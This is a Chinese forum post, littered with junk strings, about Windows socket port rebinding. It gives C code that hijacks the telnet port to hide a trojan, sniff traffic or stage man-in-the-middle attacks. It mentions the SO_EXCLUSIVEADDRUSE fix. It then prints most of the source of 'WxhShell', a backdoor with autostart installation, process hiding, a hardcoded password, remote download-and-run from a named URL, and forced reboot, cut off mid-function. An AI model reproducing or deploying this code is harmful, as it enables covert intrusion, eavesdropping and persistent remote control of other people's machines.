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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l p|`n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D< 0))r  
VV"w{#XKw  
  saddr.sin_family = AF_INET; 1L%$\0B4hm  
:cKdl[E4z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LKgo(&mY  
<6&Z5mpm$w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q;.LK8M  
y ~Fi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JC# 5CCz  
70{B/ ($  
  这意味着什么?意味着可以进行如下的攻击: lE$(*1H  
M'JCT'(X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N!./u(b  
hjz`0AS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T%aM~dp  
[e o=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UAGh2?q2  
&q +l5L"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C=t9P#g*.  
O*yA50Cn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C(vQR~_  
Ro=dgQ0:t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,I H~  
?3gf)g=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DDj:(I?,w  
cNMDI  
  #include HMhdK  
  #include :Sn4Pg `Q  
  #include OVGB7CB]S  
  #include    @U:PXCvh  
  DWORD WINAPI ClientThread(LPVOID lpParam);    |CAMdU  
  int main() !Y 9V1oVf"  
  { _<'?s>(U'  
  WORD wVersionRequested; T1%}H3  
  DWORD ret; +v/-qyA  
  WSADATA wsaData; ^O!;KIe{g  
  BOOL val; <{i1/"k?X  
  SOCKADDR_IN saddr; +Jm[IN  
  SOCKADDR_IN scaddr; P 1  
  int err; ^91Ae!)d  
  SOCKET s; na@Go@q  
  SOCKET sc; BS%pS(  
  int caddsize; e ^ZY  
  HANDLE mt; VO~%O.>  
  DWORD tid;   *y', eB  
  wVersionRequested = MAKEWORD( 2, 2 ); $,0EV9+af  
  err = WSAStartup( wVersionRequested, &wsaData ); S~)_=4Z  
  if ( err != 0 ) { .)<l69ZD Z  
  printf("error!WSAStartup failed!\n"); tJ .Ln  
  return -1; Z29LtKr  
  } ! F<::fN  
  saddr.sin_family = AF_INET; '(-H#D.oy'  
   ez~u A4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IaK J W?  
#Z,@yJ2wl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dptfIBYc+  
  saddr.sin_port = htons(23); (\nEU! Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OI kjO}/7  
  { K"ly\$F  
  printf("error!socket failed!\n"); 3p]\l ]=  
  return -1; /qFY $vj  
  } p)VMYu  
  val = TRUE; E{}J-_oS45  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #CcEI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r;p@T8k  
  { Gl"hn  
  printf("error!setsockopt failed!\n"); (M<l}pl)  
  return -1; P=7X+}@  
  } ^^< C9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yYrFk^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ibx\k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uN1VkmtDO  
y}?PyPz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  ^Vf@J  
  { a^_W}gzzd  
  ret=GetLastError(); 0|g@; Pc  
  printf("error!bind failed!\n"); Yj'"Wg  
  return -1; Hp5.F>-  
  } vy` lfbX@  
  listen(s,2); "H=N>=g0E  
  while(1) %Y,Ru)5}  
  { 8l'W[6  
  caddsize = sizeof(scaddr); PXML1.r$Q  
  //接受连接请求 e,d}4 jy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @|s$ :;(=  
  if(sc!=INVALID_SOCKET) :yTr:FoF  
  { }R%*J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %gWQ}QF  
  if(mt==NULL) YW"uC\kg|  
  { <~aKwSF[wW  
  printf("Thread Creat Failed!\n"); P4.)kK.3q|  
  break; \UX9[5|  
  } +3sbpl2}  
  } Uy*d@vU9c  
  CloseHandle(mt); A 8-a}0Gh  
  } mg" _3].j  
  closesocket(s); p'6XF{  
  WSACleanup(); ] ^?w0A  
  return 0; *!E~4z=  
  }   Ikw.L  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xk1uCVUe5  
  { #l@P}sHXq  
  SOCKET ss = (SOCKET)lpParam; "zkQu  
  SOCKET sc; YV} "#  
  unsigned char buf[4096]; l]j;0i  
  SOCKADDR_IN saddr; EPR85[k  
  long num; Q [C26U  
  DWORD val; $$EEhy  
  DWORD ret; |'I>Ojm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KW3<5+w]c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KP 6vb@(6  
  saddr.sin_family = AF_INET; O#p_rfQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9XKqsvdS  
  saddr.sin_port = htons(23); W*Ow%$%2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %I{>H%CjE  
  { QcJC:sP\>  
  printf("error!socket failed!\n"); C%{2 sMJz  
  return -1; Y[_|sIy*  
  } W*DK pJy  
  val = 100; _1mpsY<k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X|G[Ma?   
  { E " >`  
  ret = GetLastError(); oE6`]^^  
  return -1; [9V}>kS)  
  } B#+n$5#FK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `)4v Q+A>  
  { lrL:G[rt  
  ret = GetLastError(); Dr[;\/|#  
  return -1; oI'& &Bt  
  } m)  rVzL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qkz|r?R)  
  { [h !i{QD  
  printf("error!socket connect failed!\n"); X Q CE`m  
  closesocket(sc); .p> ".q I  
  closesocket(ss); -~4r6ZcA  
  return -1; ru6M9\h*  
  } >`/s+V  
  while(1) QgQclML1|  
  { u;!h   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bsr]Z&9rrk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KUK.;gG*Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4_sJ0=z-  
  num = recv(ss,buf,4096,0); R*0mCz^+h  
  if(num>0) #sBL E  
  send(sc,buf,num,0); 6 eu7&Kj'  
  else if(num==0) G 9 (*F  
  break; JtsXMZz  
  num = recv(sc,buf,4096,0); l'@!'  
  if(num>0) >)G[ww[  
  send(ss,buf,num,0); Yl lZ5<}  
  else if(num==0) MkjB4:"  
  break; D _[NzCv<-  
  } <SQR";  
  closesocket(ss);  o0>|  
  closesocket(sc); V6'u\Ch|  
  return 0 ; /U0Hk>$~(  
  } |)" y  
^suQ7#g  
+P Dk>PdEt  
========================================================== RAk"C!&^m  
i+_=7(e  
下边附上一个代码,,WXhSHELL "Da-e\yA  
VzIZT{  
========================================================== HY1K(T  
8x LXXB  
#include "stdafx.h" J\w4N",  
p Zlt4  
#include <stdio.h> 4nP4F +  
#include <string.h> ;|Hpg_~%>  
#include <windows.h> Rm}5AJ  
#include <winsock2.h> C.":2F;-e  
#include <winsvc.h> oU @!R  
#include <urlmon.h> 2+DK:T[  
+N7<[hE;  
#pragma comment (lib, "Ws2_32.lib") lJ]QAO  
#pragma comment (lib, "urlmon.lib") tm1&OY  
u\= 05N6G  
#define MAX_USER   100 // 最大客户端连接数 F?"Gln~;  
#define BUF_SOCK   200 // sock buffer n4M Xa()P1  
#define KEY_BUFF   255 // 输入 buffer 3e47UquZ  
d>W#c8X>  
#define REBOOT     0   // 重启 {.p;V  
#define SHUTDOWN   1   // 关机 hkm}oYW+  
%&VI-7+K  
#define DEF_PORT   5000 // 监听端口 ujkWVE'  
_b>{:H&\  
#define REG_LEN     16   // 注册表键长度 _-TW-{7bh  
#define SVC_LEN     80   // NT服务名长度 @ S[As~9X  
YVv E>1z  
// 从dll定义API VpAwvMw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @ext6cFe3<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r&B0 -7r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [! wJIy?,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iY?#R&  
q~5zv4NX  
// wxhshell配置信息 bZ:+q1 D  
struct WSCFG { *PV7s  
  int ws_port;         // 监听端口 \`["IkSg7  
  char ws_passstr[REG_LEN]; // 口令 X>Q44FV!  
  int ws_autoins;       // 安装标记, 1=yes 0=no J Eo;Fx]  
  char ws_regname[REG_LEN]; // 注册表键名 xV`l6QS  
  char ws_svcname[REG_LEN]; // 服务名 4 qY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !G\gqkSL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1KGf @u%-1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,!alNNY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 00f'G2n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .5!`wwVi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C'y2!Q /"  
U^ , !  
}; i2(v7Gef  
z^.dYb7<  
// default Wxhshell configuration hcRe,}wJ  
struct WSCFG wscfg={DEF_PORT, jP_s(PQ  
    "xuhuanlingzhe", O9_1a=M  
    1, 8@(?E[&O>  
    "Wxhshell", @_$$'XA7  
    "Wxhshell", lF.kAEC  
            "WxhShell Service", #_aq@)Fd  
    "Wrsky Windows CmdShell Service", |[mmEYc  
    "Please Input Your Password: ", .K(9=yh  
  1, &Wb"/Hn2  
  "http://www.wrsky.com/wxhshell.exe", "u^vBd[}  
  "Wxhshell.exe" .U@u |  
    }; ~$C<^?"b  
Y/I)ECm  
// 消息定义模块 m%[/w wL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AkW>*x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BY[7`@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t2OBVzK  
char *msg_ws_ext="\n\rExit."; 0%[IG$u)|  
char *msg_ws_end="\n\rQuit."; ~8mz.ZdY  
char *msg_ws_boot="\n\rReboot..."; hgW1g#  
char *msg_ws_poff="\n\rShutdown..."; %`T}%B  
char *msg_ws_down="\n\rSave to "; chUYLX}45  
!03JA9lo  
char *msg_ws_err="\n\rErr!"; ;L-)$Dy4  
char *msg_ws_ok="\n\rOK!"; WwZ3hd  
Ug546Bz  
char ExeFile[MAX_PATH]; {5{VGAD&]>  
int nUser = 0; #X %!7tU6  
HANDLE handles[MAX_USER]; pU !:  
int OsIsNt; t$Ff $(  
hLuv  
SERVICE_STATUS       serviceStatus; UjoA$A!Od;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (BxmV1  
(7b9irL&cn  
// 函数声明 {'h&[f>zcQ  
int Install(void); v&/H6r#E.  
int Uninstall(void); |?{V-L  
int DownloadFile(char *sURL, SOCKET wsh); +y'2 h%>h[  
int Boot(int flag); .*9u_2<  
void HideProc(void); eIF6f& F  
int GetOsVer(void); >lQa"F=  
int Wxhshell(SOCKET wsl); [?9 `x-Q  
void TalkWithClient(void *cs); :2==7u7v?  
int CmdShell(SOCKET sock); uQx/o ^  
int StartFromService(void); B|"i`{>  
int StartWxhshell(LPSTR lpCmdLine); Keo<#Cc?  
hF@%k ;I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zng.(]U/?H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =fnBE`Uc  
n YUFRV$  
// 数据结构和表定义 aN0 7\  
SERVICE_TABLE_ENTRY DispatchTable[] = >2pxl(i  
{ ,K\7y2/  
{wscfg.ws_svcname, NTServiceMain}, %]0?vw:;j  
{NULL, NULL} et)n`NlcK  
}; #|Lsi`]+  
*'A*!=5(  
// 自我安装 c?_7e9}2  
int Install(void) 1 /{~t[*.  
{ h6O'"  
  char svExeFile[MAX_PATH]; =Hd#"9-  
  HKEY key; 0KgP'oWvY  
  strcpy(svExeFile,ExeFile); |,oLZC Na  
T!y 9v5  
// 如果是win9x系统,修改注册表设为自启动 EwV$2AK  
if(!OsIsNt) { H,GjPIG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,C><n kx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \a|~#N3?  
  RegCloseKey(key); lGR0-Gh2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EZI#CLT[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<2d|;7r  
  RegCloseKey(key); SZ[?2z  
  return 0; 2 G*uv+=  
    } aAGV\o{^  
  } C^4,L \E  
} 3fQ`}OcNr  
else { }cCIYt\RK  
PpG;5  
// 如果是NT以上系统,安装为系统服务 d;gs1]E50  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gU|:Y&lFZg  
if (schSCManager!=0) xcmg3:s  
{ s6!&4=ZA  
  SC_HANDLE schService = CreateService "~ $i#  
  ( ZpOME@9,  
  schSCManager, LkzA_|8:D  
  wscfg.ws_svcname, e>e${\ =,  
  wscfg.ws_svcdisp, >I~Q[  
  SERVICE_ALL_ACCESS, =Jw*T[E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fs4shrt  
  SERVICE_AUTO_START, N_B^k8j  
  SERVICE_ERROR_NORMAL, 7~Inxk;  
  svExeFile, W =Bw*o-  
  NULL, KyVzf(^  
  NULL, BRY/[QRqZ  
  NULL, `|AH3v1  
  NULL, tR<#CCtRp'  
  NULL 0vSPeZ  
  ); juF=ZW%i  
  if (schService!=0) 5&EBU l}  
  { 3$YbEl@#  
  CloseServiceHandle(schService); +VW8{=$  
  CloseServiceHandle(schSCManager); ,T zlW\?\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I|&DXF  
  strcat(svExeFile,wscfg.ws_svcname); `!I/6d?A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )=K8mt0qob  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U@yhFj_y  
  RegCloseKey(key); ~%h )G#N  
  return 0; |?^qs nB  
    } A. tGr(r  
  } }ixCbuD  
  CloseServiceHandle(schSCManager); q#c+%,Z=C  
} U&R)a| 7R  
} ,ps?@lD  
OZf@cOTWK  
return 1; .EHq.cde  
} 2Ul8<${c{  
EHf,VIC8  
// 自我卸载 `G: 1  
int Uninstall(void) ~:Z|\a58j  
{ NV/paoyx:*  
  HKEY key; )ADI[+KW  
_MIheCvV  
if(!OsIsNt) { W>+`e]z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PN%'~}n  
  RegDeleteValue(key,wscfg.ws_regname); Q~wS2f`)  
  RegCloseKey(key); J`[jub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9QHj$)?k,  
  RegDeleteValue(key,wscfg.ws_regname); yZp/P%y  
  RegCloseKey(key); MLTS<pW/  
  return 0; gS[B;+d  
  } ;g#nGs>  
} fP4P'eI  
} `.~S/$a.&  
else { w<!,mL5 N  
EMr|#}]#s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1@'I eywg  
if (schSCManager!=0) {#?|&n<  
{ /t]1_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =EYgck;)  
  if (schService!=0) xqg4b{  
  { 4,:I{P_>6B  
  if(DeleteService(schService)!=0) { Y&,}q_Z:  
  CloseServiceHandle(schService); t`hes $E  
  CloseServiceHandle(schSCManager); -lfDoNRhQ  
  return 0; +\ "NPK@3  
  } .7Yox1,  
  CloseServiceHandle(schService); (r?hD*2r  
  } @IbZci)1  
  CloseServiceHandle(schSCManager);  H6nH  
} Y$,~"$su|  
} v36Z*I6)5  
x 4LPrF1  
return 1;  ^ b5+A6?  
} Z5U\>7@&8  
G^h:#T  
// 从指定url下载文件 g^|R;s{  
int DownloadFile(char *sURL, SOCKET wsh) (m Yi  
{ *rxYal4ad  
  HRESULT hr; $u ,6x~>  
char seps[]= "/"; qk^/ &j  
char *token; a"O;DYh  
char *file; hfbu+w):  
char myURL[MAX_PATH]; {0,6- dd5  
char myFILE[MAX_PATH]; sx7zRw >X  
oBub]<.J  
strcpy(myURL,sURL); { )b  
  token=strtok(myURL,seps); U&*%KPy`  
  while(token!=NULL) 9L-jlAo<  
  { 1]0;2THx  
    file=token; 5Zhl@v,L%  
  token=strtok(NULL,seps); *v8daF  
  }  <{ v %2  
A+H8\ew2,  
GetCurrentDirectory(MAX_PATH,myFILE); l\N2C4NG  
strcat(myFILE, "\\"); E%8uQ2p(  
strcat(myFILE, file); ^uw]/H3?L  
  send(wsh,myFILE,strlen(myFILE),0); bnvY2-O6  
send(wsh,"...",3,0); 1D [>oK\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &CXk=Wj  
  if(hr==S_OK) t&x\@p9  
return 0; 3jW&S  
else 4|cRYZj5  
return 1; g#6R(  
FaWc:GsfB  
} #>G:6'r  
/!>OWh*~  
// 系统电源模块 QAo/d4  
int Boot(int flag) u~ FVI  
{ Oop6o $k  
  HANDLE hToken; wmR~e  
  TOKEN_PRIVILEGES tkp; ^@=4HtA  
lqrI*@>Tz  
  if(OsIsNt) { ,1CmB@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b$nev[`{6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SQ+r'g  
    tkp.PrivilegeCount = 1; 1VG]|6f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t(6i4c>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wRK27=\z  
if(flag==REBOOT) { m&q0 _nay  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |XNw&X1VF  
  return 0; qW4\t  
} >Sw?F&  
else { ra^%__N}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ax=)J{4v  
  return 0; }z9v*C  
} &ZFHWI(P  
  } 6pC1C.  
  else { Vz-q7*o $S  
if(flag==REBOOT) { csJ)Pt?d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~W4SFp  
  return 0; e9Gu`$K  
} ?+Vi !eS  
else { H13\8Te{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J2oh#TGp  
  return 0; < 0~1   
} [x=(:soEqC  
} LN$T.r+  
xf7YIhL^*  
return 1; aYc<C$:NC"  
} Vep 41\g^  
a\,V>}e  
// win9x进程隐藏模块 NZ8X@|N  
void HideProc(void) L"S2+F)n  
{ B2LXF3#/  
y|0/;SjV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p0CPeH  
  if ( hKernel != NULL ) CsT&}-C  
  { 8sI$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XMP4YWuVc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _p9"MU&}  
    FreeLibrary(hKernel); Xnh&Kyz`v  
  } ^PJN$BJx  
<|G!Qn?2-  
return; {w"Cr0F,  
} }$uwAevP{y  
`0_ Y| 4KB  
// 获取操作系统版本 !.pcldx  
int GetOsVer(void) } C/+zF6q  
{ h|Qb:zEP,  
  OSVERSIONINFO winfo; O<@L~S]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,(sE|B#s  
  GetVersionEx(&winfo); `]4(Z"R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cZoj|=3a  
  return 1; grkA2%N  
  else ]8$H'u(C  
  return 0; &AeNrtGu  
} o.zP1n|G~r  
4!96k~d}  
// 客户端句柄模块 [,ulz4"  
int Wxhshell(SOCKET wsl) ;+o6"ky5  
{ #CyqiOM\*  
  SOCKET wsh; }F9#3W&`c  
  struct sockaddr_in client; Q 9f5}  
  DWORD myID; (=1zMZ o  
 nsV=  
  while(nUser<MAX_USER) >/}p{Tj  
{ s!MD8i a  
  int nSize=sizeof(client); kj4=Q\Rfm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5X5UUdTM  
  if(wsh==INVALID_SOCKET) return 1; @y * TVy  
H=Cj/jE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JwWxM3(%t  
if(handles[nUser]==0) T9kc(i'  
  closesocket(wsh); 9CN'2 9c  
else B` +, 8  
  nUser++; 6 A#xFPYY{  
  } suLC7x`Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FQ47j)p;  
lt2MB#  
  return 0; xA-?pLt "G  
} i!RYrae  
GGhk`z  
// 关闭 socket S^EAE]  
void CloseIt(SOCKET wsh) ` ` Yk  
{  <|82)hO  
closesocket(wsh); ,jw`9a  
nUser--; *O[/- p&7  
ExitThread(0); @8A[HP  
} }'>mT,ytgk  
YvP62c \  
// 客户端请求句柄 9~a5R]x2  
void TalkWithClient(void *cs) P-8QXDdr  
{ LH`2Y,E  
nf&5oE^  
  SOCKET wsh=(SOCKET)cs; $o$WFV+h  
  char pwd[SVC_LEN]; alNn(0MG  
  char cmd[KEY_BUFF];  _X=6M gU  
char chr[1]; zA3r&stN+  
int i,j; IQ-l%x[fue  
asmu<  
  while (nUser < MAX_USER) { anfnqa8  
#&L7FBJ"*v  
if(wscfg.ws_passstr) { l2dj GZk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cF9oo%3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (mI590`f  
  //ZeroMemory(pwd,KEY_BUFF); \"Z\Af<  
      i=0; kr |k \  
  while(i<SVC_LEN) { 1^tX:qR  
yA_ly <  
  // 设置超时 Hfo<EB2Y9N  
  fd_set FdRead; `f~$h?}3-@  
  struct timeval TimeOut; Lz:FR*  
  FD_ZERO(&FdRead); %4YSuZg  
  FD_SET(wsh,&FdRead); Vw`Q:qo0:b  
  TimeOut.tv_sec=8; Pv\8 \,B9  
  TimeOut.tv_usec=0; \l 8_aj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Gl[e4U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?gvu E1  
E_Y!in 70  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bm%|WQK  
  pwd=chr[0]; ZB/1I;l`c  
  if(chr[0]==0xd || chr[0]==0xa) { q 6>}  
  pwd=0; }?c%L8\  
  break; =]pEvj9o  
  } ZZCm438  
  i++; R1<$VR  
    } ^~@3X[No  
;<GxonIV  
  // 如果是非法用户,关闭 socket JV'aqnb.8\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C>,> _  
} ! R3P@,j  
R?- zJ ;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qcQq.cS_'N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U^U hZ!  
-:J<JX)o  
while(1) { +Kg }R5+  
BD86t[${W  
  ZeroMemory(cmd,KEY_BUFF); asLrXGGyT  
`s Pk:cNz~  
      // 自动支持客户端 telnet标准   b7T;6\[m  
  j=0; du#f_|xG  
  while(j<KEY_BUFF) { Rr[Wka9[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <63TN`B  
  cmd[j]=chr[0]; C-h?#/#?y  
  if(chr[0]==0xa || chr[0]==0xd) { a1%}Ee  
  cmd[j]=0; 8IBr#+0  
  break; ib!TXWq  
  } A:yql`&s  
  j++; h.l.da1#  
    } &%qDi_UD  
Tm7LaM  
  // 下载文件 MEp{&#v|1  
  if(strstr(cmd,"http://")) { x7`+T 1IJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;)P=WS:=  
  if(DownloadFile(cmd,wsh)) TqfL Sm|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ck"db30.  
  else u&UmI-}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >lzXyT6x8  
  } 83{P7PBQ;]  
  else { ?d{O' &|:  
)EKWsGNe/  
    switch(cmd[0]) { f\.y z[  
  cx&\oP  
  // 帮助 n4}e!  
  case '?': { twbxi{8e.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8ZM#.yB B  
    break; 6PS[OB{3  
  } SBDGms  
  // 安装 d"Wuu1tEY  
  case 'i': { u4m8^fj+ T  
    if(Install()) YG8)`X qC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,tg(aL  
    else y'>JT/Q5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o8hE.pf&  
    break; @EyB^T/  
    } `NEi/jB  
  // 卸载 IA[:-2_  
  case 'r': { S $o1Q  
    if(Uninstall()) B'`25u_e<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EN":}!E:  
    else g;nLR<]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v2p0EOS  
    break; n"D` =  
    } =NI?Jk*iAq  
  // 显示 wxhshell 所在路径 1,Mm+_)B  
  case 'p': { &/)B d%  
    char svExeFile[MAX_PATH]; 8"-=+w.CZ  
    strcpy(svExeFile,"\n\r"); HIvSpO  
      strcat(svExeFile,ExeFile); u U>L (  
        send(wsh,svExeFile,strlen(svExeFile),0); p|mFF0SL  
    break; (c^ {T)  
    } ;BT7pyu%[  
  // 重启 k.o8!aCm  
  case 'b': { N mxh zjJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lcjOBu  
    if(Boot(REBOOT)) -qHG*v,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1@h8.ym<"  
    else { 2/uZ2N |S  
    closesocket(wsh); K9p<PLy+  
    ExitThread(0); -zqpjxU:  
    } \0_jmX]p  
    break; ;Oqf{em];  
    } ' ]+!i a  
  // 关机 J[hmY=,  
  case 'd': { 'g'RXC}D>  
